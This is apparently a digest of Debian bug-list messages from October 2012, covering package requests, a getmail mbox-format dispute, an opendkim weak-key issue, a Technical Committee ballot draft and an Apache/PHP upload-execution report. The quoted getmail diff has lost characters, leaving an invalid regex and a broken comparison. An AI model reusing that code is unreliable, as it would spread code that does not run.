Hi Giuseppe I had a look at the debdiff between the version in testing an the version in unstable and it looks quite big to ask for an unbock for wheezy. Would it possible to prepare a minimal possible fix for that only resolving the serious bugs (probably also #649515 if also affecting wheezy) for uploading to t-p-u and ask the release team? Regards, Salvatore signature.asc Description: Digital signature
Bug#691152: deutex ignores freedoom.wad
Am 25.10.2012 14:44, schrieb Jon Dowland: I might possibly write an alternative from scratch (not in C). OTOH, freedoom relies on deutex in its build process and even provides a minimal doom2.wad for bootstrapping purposes (maybe we should ship that with the deutex package to have it work out-of-the-box for pwads and be independent of external iwads). However, as deutex still does what it's supposed to do, I'd consider it good enough. ;) - Fabian -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691414: manpages: motd(5) and motd.tail(5) do not reflect reality in wheezy
Package: manpages Version: 3.42-1 Severity: normal Dear Maintainer, The handling of /etc/motd in wheezy has changed appreciably compared to squeeze. It would be great if motd(5) and motd.tail(5) could be updated accordingly for wheezy. The relevant changelog entry is: sysvinit (2.88dsf-24) experimental; urgency=low [ Roger Leigh ] * initscripts: - Don't generate or touch /etc/motd. Instead, the dynamic part of /etc/motd is created as /run/motd.dynamic, leaving /etc/motd entirely under the control of the system administrator. If /etc/motd is a symlink to /run/motd, /etc/motd.tail is moved back to /etc/motd. Closes: #353229, #624391, #668307. /etc/motd is not removed if initscripts is purged, since it's not owned by initscripts. - By default, /run/motd is just the output of uname, preserving the existing behaviour. However, should the administrator wish to include dynamic information in the motd, they may write scripts to update /run/motd.dynamic as they please. Closes: #437176. - motd generation is split from bootlogs into a separate motd init script. Looking at /etc/init.d/motd, I think references to /run/motd above should actually be /run/motd.dynamic. motd.tail(5) can just be deleted. cheers Stuart -- System Information: Debian Release: wheezy/sid APT prefers testing-proposed-updates APT policy: (550, 'testing-proposed-updates'), (550, 'testing'), (60, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 3.2.0-3-686-pae (SMP w/4 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash manpages depends on no packages. manpages recommends no packages. Versions of packages manpages suggests: ii konqueror [man-browser] 4:4.8.4-1 ii man-db [man-browser] 2.6.2-1 -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691394: opendkim: DomainKeys Identified Mail (DKIM) Verifiers may inappropriately convey message trust
On Thursday, October 25, 2012 09:38:36 AM Thijs Kinkhorst wrote: On Thu, October 25, 2012 07:18, Scott Kitterman wrote: Package: opendkim Version: 2.0.1+dfsg-1 Severity: grave Tags: security upstream Justification: user security hole See http://www.kb.cert.org/vuls/id/268267, VU#268267 opendkim in squeeze, wheezy, sid offers no method to prevent use of keys less than 1024 bits. This is added in the new upstream release, 2.6.8, that was released just for this issue. Thanks for your quick action on this. But is it really a user security hole? The responsibility is with users not to use unsafe key sizes. GnuPG works with small key sizes, I do not see that as a user security hole per se. Of course this proactive measure can help to prevent mistakes, so if possible it would be good if we could still get this into wheezy. I agree that on the sending end this is mostly an operational issue, but on the receiving side this is different. Here's a description of the attack that the changes in opendkim 2.6.8 will prevent: http://www.wired.com/threatlevel/2012/10/dkim-vulnerability-widespread/ With what's in Squeeze/Wheezy now, a Debian mail server would have validated the mail as well. With 2.6.8, the signature would have been ignored (in the default configuration) because the key size is too small. This is not something that can be dealt with operationally. Unlike GPG, where keys are trusted based on signatures and web of trust (and people can decline to sign bad keys), in DKIM keys are trusted based on their being published in the sending domain's DNS and there is no human in the loop. Scott K signature.asc Description: This is a digitally signed message part.
Bug#633799: getmail Bug#633799: how this should be handled
Hi,
If OK to upload a patched revision for Bug#633799, I will be happy to
upload it targeting wheezy.
I need guidance on how to handle Bug#633799 for getmail with a newly
bumped critical bug.
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=633799
Here is the situation.
The mbox format historically has several variants.
http://docs.python.org/library/mailbox.html#mbox
getmail used python standard library as is so it was mboxo.
It has annoying shortcomings but people have been using it.
getmail documentation said getmail use mboxrd for mbox.b (which is
new improved version of mbox.)
Although mboxo is not the best technical solution, it is python choice,
I felt this is mere documentation bug as wishlist.
Since freeze, getmail upstream decided to use real mboxrd and applied
patch prompted by a bug reporter. Also this bug has been bumped back to
be critical by the same bug reporter claiming Serious data loss. (It
is true that it causes some minor and ugly data loss which is not
pretty. But I understand people have been having quite relaxed attitude
on this type of data loss historically.)
Considering relatively small size of patch which is already applied by
upstream, can I upload a new Debian revision to unstable with this
mboxrd format change for getmail targeting wheezy. (Upstream diff for
this attached. patch to be applied will be very similar as this except
for program version number.)
Or do you think changing basic program behavior for the mbox storage at
this stage too late even if it is to match with the documentation.
Or not to touch package and leave this bug report as important or
normal so people will notice better but not RC.
Regards,
Osamu
diff --git a/getmailcore/__init__.py b/getmailcore/__init__.py
index d1eb458..d37dd3d 100755
--- a/getmailcore/__init__.py
+++ b/getmailcore/__init__.py
@@ -16,7 +16,7 @@ if sys.hexversion 0x2030300:
raise ImportError('getmail version 4 requires Python version 2.3.3'
' or later')
-__version__ = '4.34.0'
+__version__ = '4.35.0'
__all__ = [
'baseclasses',
diff --git a/getmailcore/message.py b/getmailcore/message.py
index 0137ba3..0e54ef8 100755
--- a/getmailcore/message.py
+++ b/getmailcore/message.py
@@ -10,6 +10,7 @@ __all__ = [
import os
import time
import cStringIO
+import re
import email
import email.Errors
import email.Utils
@@ -29,6 +30,9 @@ message_attributes = (
'recipient'
)
+RE_FROMLINE = re.compile(r'^(*From )', re.MULTILINE)
+
+
###
def corrupt_message(why, fromlines=None, fromstring=None):
log = getmailcore.logging.Logger()
@@ -130,19 +134,25 @@ class Message(object):
it by writing out what we need, letting the generator write out the
message, splitting it into lines, and joining them with the platform
EOL.
+
+Note on mangle_from: the Python email.Generator class apparently only
+quotes From , not From (i.e. it uses mboxo format instead of
+mboxrd). So we don't use its mangling, and do it by hand instead.
'''
-f = cStringIO.StringIO()
if include_from:
-# This needs to be written out first, so we can't rely on the
-# generator
-f.write('From %s %s' % (mbox_from_escape(self.sender),
-time.asctime()) + os.linesep)
+# Mbox-style From line, not rfc822 From: header field.
+fromline = 'From %s %s' % (mbox_from_escape(self.sender),
+ time.asctime()) + os.linesep
+else:
+fromline = ''
# Write the Return-Path: header
-f.write(format_header('Return-Path', '%s' % self.sender))
+rpline = format_header('Return-Path', '%s' % self.sender)
# Remove previous Return-Path: header fields.
del self.__msg['Return-Path']
if delivered_to:
-f.write(format_header('Delivered-To', self.recipient or 'unknown'))
+dtline = format_header('Delivered-To', self.recipient or 'unknown')
+else:
+dtline = ''
if received:
content = 'from %s by %s with %s' % (
self.received_from, self.received_by, self.received_with
@@ -151,13 +161,20 @@ class Message(object):
content += ' for %s' % self.recipient
content += '; ' + time.strftime('%d %b %Y %H:%M:%S -',
time.gmtime())
-f.write(format_header('Received', content))
-gen = Generator(f, mangle_from, 0)
+receivedline = format_header('Received', content)
+else:
+receivedline = ''
# From_ handled above, always tell the generator not to include it
try:
+tmpf = cStringIO.StringIO()
+gen = Generator(tmpf, False, 0)
gen.flatten(self.__msg, False)
-f.seek(0)
-
Bug#659974: wavesurfer: please set Depends: libsnack2-alsa | libsnack2
On Thu, Oct 25, 2012 at 08:22:01AM +0900, Hideki Yamane wrote: Hi Ron, On Sat, 20 Oct 2012 05:10:11 +1030 Ron r...@debian.org wrote: As libsnack2 maintainer suggested, just will solve this problem. So I'll put fixed version to 10-days delay queue. Ron, if you don't want it, please tell me to cancel it. For detail, see attached patch. I think I'd have preferred this to go to experimental if people are itching to have it available before the Wheezy freeze is over. Especially since snack upstream appears to have some concern about how well it really works with alsa ... Once canceled upload. Well, Depends: libsnack2-alsa | libsnack2 would pull libsnack2-alsa, so it may cause problem by pulling -alsa first, but Depends: libsnack2 | libsnack2-alsa wouldn't. So I proposed again as it as setting Depends: libsnack2 | libsnack2-alsa. But since it's not forcing people to use alsa, I'm inclined to not fuss over that too much right now. Worst case I might revert it if we do need to push an update of wavesurfer that does need to go into Wheezy though, as I'd prefer to avoid any new RC bugs that using it with alsa could add at this late stage of the game. This change will not force people using alsa, so - default setting: pull libsnack2 - people who want to use it with alsa: pull libsnack2-alsa And how about putting this to unstable, then testing-proposed-updates? Its change can be reverted easily, and if we put new package to experimental probably people who will use it is not enough to test it. I'm a little bit wary of trying to push this through to Wheezy at this late stage now. Wavesurfer has a fairly low popcon (regardless of how essential it may be to those of us who do use it :) and there hasn't been a huge flood of me toos from people wanting this so far either, which makes me worry it won't get a whole lot of testing before release time in either case ... snack itself doesn't rank all that highly in popcon either - which I'm not taking to mean much except a rough guide to the level of testing that we might expect things to get. I don't mind making it available in experimental for people who do really need this now though if there is demand for that - and pushing it through to testing early in the next cycle so it can spend a full term there (which was my original plan for this bug). I agree it would be easy in principle to revert if things went bad, but that equally might upset anyone who'd come to depend on it in that time too ... so really we'd probably be blocked on someone actually fixing whatever bug did show up. At least at the moment if they force the dep and it fails, they know where they stand (and we still might get a report about that). Though I also do kind of wonder if the alternative dep in wavesurfer is really the right place for this anyhow. Shouldn't libsnack really be the thing offering alternatives, and this package then can just depend on snack2 or so and let the snack maintainer decide what alternatives can provide that? What if there is a libsnack-pulse or something similar later on as well? It looks like both packages already provide libsnack2, but we don't look at the alternative provider because we have a versioned dep. One option might be to drop the version here, since snack 2.2 dates back to 2003'ish. But I guess better might be for snack itself to provide a new snack2 virtual dep that we can depend on instead. What do you think? Should we punt the alternative selection to snack itself? Hacking it in here isn't difficult, but it doesn't really seem like the right place for it. Wavesurfer shouldn't have to care what backend is actually being used at all. Cheers, Ron -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691415: RFP: Black Shades Elite -- First person shooter with simplistic graphics
Package: wnpp Severity: wishlist * Package Name: Black Shades Elite * Home page: http://home.gna.org/blackshadeselite/ * License: GPLv2 * Description: First person shooter with simplistic graphics
Bug#691416: RFP: Dawn -- A 2D RPG set in a fantasy world
Package: wnpp Severity: wishlist * Package Name: Dawn * Home page: https://github.com/frusen/Dawn * License: GPLv3 * Description: Dawn is a 2D RPG set in a fantasy world. Able to choose a race, class and alignment to create a unique player experience. Gain experience through quests or slaying monsters, in order to level up and gain new skills, spells and more!
Bug#691417: RFP: Goblin Camp -- A roguelike citybuilder
Package: wnpp Severity: wishlist * Package Name: Goblin Camp * Home page: http://www.goblincamp.com/ * License: GPLv3 * Description: Goblin Camp is a roguelike citybuilder, inspired by Anno 1404, Dwarf Fortress and Dungeon Keeper.
Bug#663916: New phonetisaurus package available
Please bump Standards-Version to 3.9.4. (But note that lintian isn't aware of it yet, so you'll get a spurious newer-standards-version, which you should ignore for the time being.) Would it be possible to enable parallel builds? g2p segfaults if the model doesn't exist: $ phonetisaurus-g2p --model=/nonexistent ERROR: ExpandedFst::Read: Can't open file: /nonexistent Segmentation fault debian/copyright_hints are out-of-date again. :) The copyright file says: Files: src/3rdparty/sparsehash/google/* Copyright: 2005-2007, Google Inc. but one of the files has this notice: // Copyright (c) 2010, Google Inc. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691418: RFP: Haxima -- A game based on Nazghul engine Ultima V-like
Package: wnpp Severity: wishlist * Package Name: Haxima * Home page: http://myweb.cableone.net/gmcnutt/nazghul.html * License: GPLv2 * Description: A game based on Nazghul engine with Ultima V-like gameplay and graphics.
Bug#691419: RFP: Lips of Suna -- A tongue-in-cheek dungeon crawl game
Package: wnpp Severity: wishlist * Package Name: Lips of Suna * Home page: http://lipsofsuna.org/ * Source code license: GPLv3 * Media Content License: CC BY-SA 3.0 * Description: A tongue-in-cheek dungeon crawl game that takes place in the chaotic dungeons of Suna.
Bug#633799: getmail4: Mboxrd format is not supported
Hi. On Thu, 2012-10-25 at 21:26 +0900, Osamu Aoki wrote: But if you read history of bug report including patches, you could have written a bit kinder tone message. I feel a bit sad to see this message. Well it wasn't meant particularly personally or offensive,... I just think the issue is quite serious. I see now, that you considered this just to be a documentation problem... IMHO, one needs to look throughout all Debian, to find any places where mboxo is still used. The problem is, that using mboxo itself (even if documented) is IMHO a serious bug, as the format is utterly broken. Especially no user expects that when he stores mail it's being irrecoverably cluttered up (which is what mboxo does). Actually I'd say that most people even don't know that there are different subformats of mbox. No. This is not news. So not an appropriate place. Right place should be more like README.Debian or BUGS. Mhh well in principle that's true, but to my experience, NEWS is the only place (apart from release-notes and debconfi dialgues) that is likely read by most people (well at least by those that have apt-listchanges installed). Does Debian expect people to read README.Debian? - if possibly in a priority-high dialogue via debconf This is not right place per policy. Is that forbidden? I used to know several packages that put informative dialogues there (even though not with priority high, I guess). If upstream is stupid and doesn't want to fix this, then we really Please do not call upstream stupid ... especially in public like this. I think you are bright but this is not very polite. As I already told upstream himself,... I said _if_ (perhaps I should have written even if)... So when I wrote this, I haven't thought you'd just consider this as a documentation issue. Therefore I wanted to make clear, that even when an upstream would be stupid/not cooperating/etc. ... we (in Debian) should not just lean back. really must warn our users on that issue. And even if upstream would fix it, we still would need to warn our users at least in the NEWS file / release notes... that all their mail from previous years is likely corrupted. mboxo has been always so and have been widely used. I know, and this is actually quite a problem. As I wrote above, most people don't know this... and AFAIU the corruption inherent to this format can't be undone. mboxrd is technically superior. Yes,... an alternative is mboxcl2... but it has also it's drawbacks. anyone who stores file in mbox should know there are risks as you describe. Phew... I mean I wouldn't call myself uneducated ;-) ... and I was really shocked when I learned about this recently. I asked around at my friends, all studied computer scientists and decent sysadmins... noone knew. I think you are a bit exxagurating severity of trivial part of data change. Actually most people seem to see it like this. I can't join that opinion however. I mean the change is little, arguably, but a) it can't be undone automatically and b) given, that storing mail is the core functionality of e.g. getmail, it think it's quite severe. That would be the same if your paint program changes all the colours (just a tiny bit) when you save your image. Let's ask release manager how this should be handled now. Saw your mail :) Thanks for your efforts :) Best wishes, Chris. smime.p7s Description: S/MIME cryptographic signature
Bug#691420: RFP: Stendhal -- A completely free multiplayer online adventure game with an old school feel
Package: wnpp Severity: wishlist * Package Name: Stendhal * Home page: http://stendhalgame.org/ * License: GPLv2 * Description: Stendhal is a fun friendly and completely free multiplayer online adventure game with an old school feel.
Bug#691421: New upstream (0.1.4)
Package: pyasn1 Severity: wishlist It would be nice if you could upgrade to 0.1.4. Regards, Daniel -- Address:Daniel Baumann, Donnerbuehlweg 3, CH-3012 Bern Email: daniel.baum...@progress-technologies.net Internet: http://people.progress-technologies.net/~daniel.baumann/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691422: init-functions: order of arguments is not context-free
Package: lsb-base Version: 4.1+Debian7 Severity: normal As spotted in #691365, it turns out that the pidofproc function provided in /lib/lsb/init-functions is not context free. Calling pidofproc $DAEMON -p $PIDFILE in contrast to pidofproc -p $PIDFILE $DAEMON yields different results if the file in $PIDFILE does not exist. This yields to a non-context-freeness which is probably not what the user calling this function expects. -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 3.5-trunk-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691413: [php-maint] Bug#691413: libapache2-mod-php5: php files without php extension executed by default
reassign 691413 mime-support affects 691413 +php5 affects 589384 +php5 forcemerge 589384 691413 thank you Hi, yes, it's a know problem and it has been fixed in wheezy. There's no immediate remedy in squeeze which doesn't include breaking existing installations. Ondrej On Thu, Oct 25, 2012 at 2:39 PM, Pierre Colombier pcdw...@pcdwarf.net wrote: Package: libapache2-mod-php5 Version: 5.3.3-7+squeeze14 Severity: normal When you have a file with a name like file.php.something, Apache considers it is a php file and executes it even if its name does not end with .php or a php-related extension If 'something' is a valid extension of another mimetype like .jpeg it won't be executed. This leads to some security issues with machines where files can be uploaded. For exemple il somewone can upload a file named nasty.php.hack on a web server and then access it, he will gain acces to this server with the same rights as apache. Of course this can be prevented by checking the filenames on upload but it is non obvious and the default behaviour is sufficiently surprising not to be expected. -- System Information: Debian Release: 6.0.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/8 CPU cores) Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages libapache2-mod-php5 depends on: ii apache2-mpm-prefor 2.2.16-6+squeeze8 Apache HTTP Server - traditional n ii apache2.2-common 2.2.16-6+squeeze8 Apache HTTP Server common files ii libbz2-1.0 1.0.5-6+squeeze1 high-quality block-sorting file co ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib ii libcomerr2 1.41.12-4stable1 common error description library ii libdb4.8 4.8.30-2 Berkeley v4.8 Database Libraries [ ii libgssapi-krb5-2 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries - k ii libk5crypto3 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries - C ii libkrb5-3 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries ii libmagic1 5.04-5+squeeze2 File type determination library us ii libonig2 5.9.1-1 Oniguruma regular expressions libr ii libpcre3 8.02-1.1 Perl 5 Compatible Regular Expressi ii libqdbm14 1.8.77-4 QDBM Database Libraries [runtime] ii libssl0.9.80.9.8o-4squeeze13 SSL shared libraries ii libxml22.7.8.dfsg-2+squeeze5 GNOME XML library ii mime-support 3.48-1MIME files 'mime.types' 'mailcap ii php5-common5.3.3-7+squeeze14 Common files for packages built fr ii tzdata 2012g-0squeeze1 time zone and daylight-saving time ii ucf3.0025+nmu1 Update Configuration File: preserv ii zlib1g 1:1.2.3.4.dfsg-3 compression library - runtime Versions of packages libapache2-mod-php5 recommends: ii php5-cli 5.3.3-7+squeeze14 command-line interpreter for the p Versions of packages libapache2-mod-php5 suggests: ii php-pear 5.3.3-7+squeeze14 PEAR - PHP Extension and Applicati -- no debconf information ___ pkg-php-maint mailing list pkg-php-ma...@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-php-maint -- Ondřej Surý ond...@sury.org -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#681419: Proposed ballot for free/non-free dependencies question
Here's a draft of a ballot for #681419. Despite the form, I think this is probably still more of a discussion document; Ian indicated that he'd like the opportunity to discuss this by e-mail before voting, and I don't know if I've fully captured all the positions and arguments. Ian, I've taken the liberty of drafting option B in an attempt to describe what I understand as your position, but I'm sure you can do a better job of it. I've committed this to our git repository as 681419_free_non_free_dependencies/cjwatson_draft.txt. Whereas: 1. The Debian Policy Manual states (§2.2.1) that packages in main must not require or recommend a package outside of main for compilation or execution. Both Depends: package-in-non-free and Recommends: package-in-non-free clearly violate this requirement. The Technical Committee has been asked to determine whether a dependency of the form package-in-main | package-in-non-free complies with this policy requirement, or whether virtual packages must instead be used to avoid mentioning the non-free alternative. 2. Both options have the following effects in common, meeting the standard that main should be functional and useful while being self-contained: (a) Package managers configured to consider only main will install package-in-main. (b) Package managers configured to consider both main and non-free will prefer to install package-in-main, but may install package-in-non-free instead if so instructed, or if package-in-main is uninstallable. (c) If package-in-non-free is already installed, package managers will proceed without installing package-in-main. 3. The significant difference between these two options is that the former makes the non-free alternative visible to everyone who examines the dependency relationship, while the latter does not. A 4. Merely mentioning that a non-free alternative exists does not Aconstitute a recommendation of that alternative. For example, many Afree software packages state quite reasonably that they can be Acompiled and executed on non-free platforms. A A 5. Furthermore, virtual packages are often a clumsy way to express Athese kinds of alternatives. If a package happens to require any Aof several implementations of a facility that have a certain Aoption, then it can either depend on suitable alternatives Adirectly, or its maintainer can first attempt to have fine-grained Avirtual packages added to each of the packages they wish to permit. AIn some cases this may be appropriate, but it can easily turn into Aquite a heavyweight approach. A A Therefore: A A 6. The Technical Committee resolves that alternative dependencies of Athe form Depends: package-in-main | package-in-non-free are Apermissible in main, and do not constitute a violation of the Apolicy clause cited in point 1. A A 7. We nevertheless recommend that packages in main consider carefully Awhether this might cause the inadvertent installation of non-free Apackages due to conflicts, especially those with usage Arestrictions. B 4. Listing a package explicitly in a dependency relationship implies Bto users that the maintainer has taken steps to confirm its Bsuitability, and thus amounts to a recommendation, even if only as Bone of several possibilities. B B 5. There is a substantial risk that a secondary dependency on a Bpackage in non-free will cause that package to be installed by Bdefault when the primary dependency is uninstallable. B B 6. Virtual packages are a suitable existing mechanism for packages to Bdeclare the set of abstract features they provide, and allow Bpackages in main to depend on such abstract features without Bneeding to name every (free or non-free) alternative. B B Therefore: B B 7. The Technical Committee resolves that alternative dependencies of Bthe form Depends: package-in-main | package-in-non-free Bconstitute a violation of the policy clause cited in point 1. B B 8. We recommend that affected packages consider the use of virtual Bpackages instead. -- Colin Watson [cjwat...@debian.org] -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690373: Ping: gdcm: incomplete copyright file (#690373)
Hi, On Thu, Oct 25, 2012 at 2:45 PM, Andreas Tille ti...@debian.org wrote: Hi Mathieu, I pinged you two days ago but did not got any answer. If I do not hear from you I'll take action at this weekend, latest next Monday. Feel free to do whatever you want with this. I am not taking action until 2.2.2 comes out, of debian goes out of freeze (whichever comes first) Thx -- Mathieu -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#683184: RFS: suckless-tools/39-1 [ITA]
* Vasudev Kamath kamathvasu...@gmail.com, 2012-10-25, 11:54: Shouldn't the copyright file also mention download location for sprop (i.e. hg.suckless.org) too? I'd prefer if create_get_orig source downloaded a specific revision of prop (currently ecfe2752b310) rather than tip. That would make the script more deterministic. Done. I've contacted upstream author to get it in same download location but since he is out of the development for a while I need to contact Anselm from suckless community to get it there. Besides this he was suggesting to get individual binaries involved in suckless-tools as separate binaries. (i.e. multiple binary single source package) What do you suggest? The binaries are very small, and their dependencies aren't big either, so I don't really see a point. Besides this I updated changelog to merge changelog of 38-2 version and then update 39-1 changelog to remove already closed bug references. I added closes to 658386 in changelog as new dmenu fixes it. And I updated the Standards-version to 3.9.4 Copyright file now adheres to Debian copyright-format 1.0 should be removed from 39-1 entry, as it was fixed in 38-2. When I run bhlc on build log of new package I get this http://sprunge.us/CiYR But as far as I know this should be automatically introduced when using compat level 9 with debhelper = 9 right? Or am I missing something? Perhaps 02_dpkg-buildflags.patch needs to be improved? :) -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691423: RFP: Thunder Lightning -- Futuristic action flight simulator and real-time strategy game
Package: wnpp Severity: wishlist * Package Name: Thunder Lightning * Home page: http://tnlgame.net/ * License: GPLv2 * Description: A futuristic action flight simulator and real-time strategy game.
Bug#691425: RFP: Vulture -- An isometric graphical interface for NetHack, Slash'EM and UnNetHack
Package: wnpp Severity: wishlist * Package Name: Vulture * Home page: http://www.darkarts.co.za/vulture * License: Nethack GPL * Description: Vulture in an isometric graphical interface for NetHack, Slash'EM and UnNetHack.
Bug#691426: RFP: Yoda Soccer -- A game with the gameplay and the style of Sensible World of Soccer (SWOS) or Kick Off
Package: wnpp Severity: wishlist * Package Name: Yoda Soccer * Home page: http://yodasoccer.sourceforge.net/ * License: GPLv2 * Description: A game with the gameplay and the style of Sensible World of Soccer (SWOS) or Kick Off.
Bug#691160: upgrade-reports: dist-upgrade to sid fails after manual mod of sources.list to sid
reassign 691160 src:at-spi2-core thanks On Mon, Oct 22, 2012 at 09:36:50PM +1000, bonz wrote: Package: upgrade-reports Severity: important added sid lines like i did for previous releases and updated/upgraded fine dist-upgrade failed with E: Could not perform immediate configuration on 'python-pyatspi2'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) not sure if this is same python bug mentioned in the list. I also run into this issue updating from squeeze to wheezy. Ubuntu has a similar problem reported and they fixed it: https://bugs.launchpad.net/ubuntu/+source/at-spi2-core/+bug/836798 I don't know if it is the best solution. I haven't looked at the issue deeply, will try to check it soon. Ana -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691427: journal commit I/O error on brand-new Thinkpad T430s ext4 on lvm on SSD
Source: linux Version: 3.2.32-1 Severity: important Tags: upstream Hi dear linux maintainers, I have setup a Debian Wheezy on a brand new Lenovo Thinkpad T430s with a SSDSC2BW180A3L SSD drive. After the install, the user installed his usual softwares (solr, apache, nodejs, …) and started work. Under some load (importing thousands of records in MySQL via a hand-called PHP script), the system reliably stops working fine enough because of journal commit I/O error leading to a readonly filesystem. Then Gnome becomes (obviously) unuseable and the only way out is a hard-reboot. The disk looks fine (and is brand new), according to the BIOS disk report and SMART tests, so the usual suspiscion that it might be broken is improbable. We have reproduced this bug under 3.2.0-4 (3.2.23-1), 3.2.0-5 (3.2.32-1) and 3.5-trunk (3.5.5-1~experimental.1). The setup is an ext4 / (and /home) on LVM, on the mentionned SSD. What are the things we could do to help resolve this bug? Are there logs that you might want to get? Please advise! Cheers, OdyX, on behalf of Dorian Villet, owner of the (unuseable) T430s. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#685618: d-i: do not install mpt-status on vmware hardware
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi, I can confirm the PCI subsystem id of 15ad:1976 on current VMware virtual machines: root@kastner[~]# lspci -vvvnn | grep LSI 00:10.0 SCSI storage controller [0100]: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI [1000:0030] (rev 01) Subsystem: VMware LSI Logic Parallel SCSI Controller [15ad:1976] So this is clearly only a virtual SCSI controller, not a RAID controller. Installing mpt-status is really useless in this case. Please exclude it for this PCI subsystem id. Thanks, Christopher - -- == Dipl.-Ing. Christopher Odenbach Zentrum fuer Informations- und Medientechnologien Universitaet Paderborn Raum N5.311 odenb...@uni-paderborn.de Tel.: +49 5251 60 5315 == -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iD8DBQFQiVH5hxiCJKeLY0IRAvxfAJ97z2uMhfF/VC1gBPpPc0ve6ryT4wCdEnKV apQNhKYpNlajsYSRYdVJltE= =sLEX -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#688772: Bug#681834: Call for votes on network-manager, gnome
Hi, this is a reply to a message from the older bug but it has never been answered and I believe it's useful to take a proper decision so I answer in the new bug: On Tue, 11 Sep 2012, Ian Jackson wrote: Jeremy Bicha writes (Bug#681834: Call for votes on network-manager, gnome): I see two things missing from this resolution: 1. GNOME has a stronger dependency on NM than they did when Squeeze was released. GNOME Shell now has a hard dependency on NM. Do you mean http://packages.debian.org/wheezy/gnome-shell ? Because that doesn't have any dependency on network-manager. So on a Debian wheezy system it is possible to install gnome-shell without network-manager. (There is a dependency on gir1.2-networkmanager-1.0 but that's just introspection data and doesn't pull-in n-m itself, just some libraries.) Nobody responded to this but while discussing with the GNOME maintainers I quickly got the answer. NM is a build-time dependency of GNOME Shell but Debian has patched GNOME Shell to make it optional to allow it to compile on kfreebsd: http://patch-tracker.debian.org/patch/series/view/gnome-shell/3.4.2-2/10-make-NetworkManager-optional.patch During run time, NM is not required but its absence results in: - non-working network configuration screens in the GNOME settings - empathy/evolution and the like not being aware when they are offline and thus trying to connect when they should not (and generate/display potentially annoying errors) Cheers, -- Raphaël Hertzog ◈ Debian Developer Get the Debian Administrator's Handbook: → http://debian-handbook.info/get/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691428: unblock: scuttle/0.7.4-8
Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock
Please unblock package scuttle.
Attached is a debdiff of changes made to fix bug#688500.
Cheers,
--
Marcelo Jorge Vieira
xmpp:me...@jabber-br.org
http://metaldot.alucinados.com
diff -u scuttle-0.7.4/debian/control scuttle-0.7.4/debian/control
--- scuttle-0.7.4/debian/control
+++ scuttle-0.7.4/debian/control
@@ -17,7 +17,8 @@
wwwconfig-common,
dbconfig-common,
php-gettext,
- mysql-client
+ mysql-client,
+ ucf
Suggests: mysql-server
Description: Web-based social bookmarking system
Allows multiple users to store, share and tag their favourite links online.
diff -u scuttle-0.7.4/debian/changelog scuttle-0.7.4/debian/changelog
--- scuttle-0.7.4/debian/changelog
+++ scuttle-0.7.4/debian/changelog
@@ -1,3 +1,10 @@
+scuttle (0.7.4-8) unstable; urgency=high
+
+ * Fixed configuration file in /var (policy 10.7) (Closes: #688500)
+- Moving config_debconf.inc.php from /var/lib to /etc
+
+ -- Marcelo Jorge Vieira (metal) me...@debian.org Mon, 22 Oct 2012 02:18:10 -0200
+
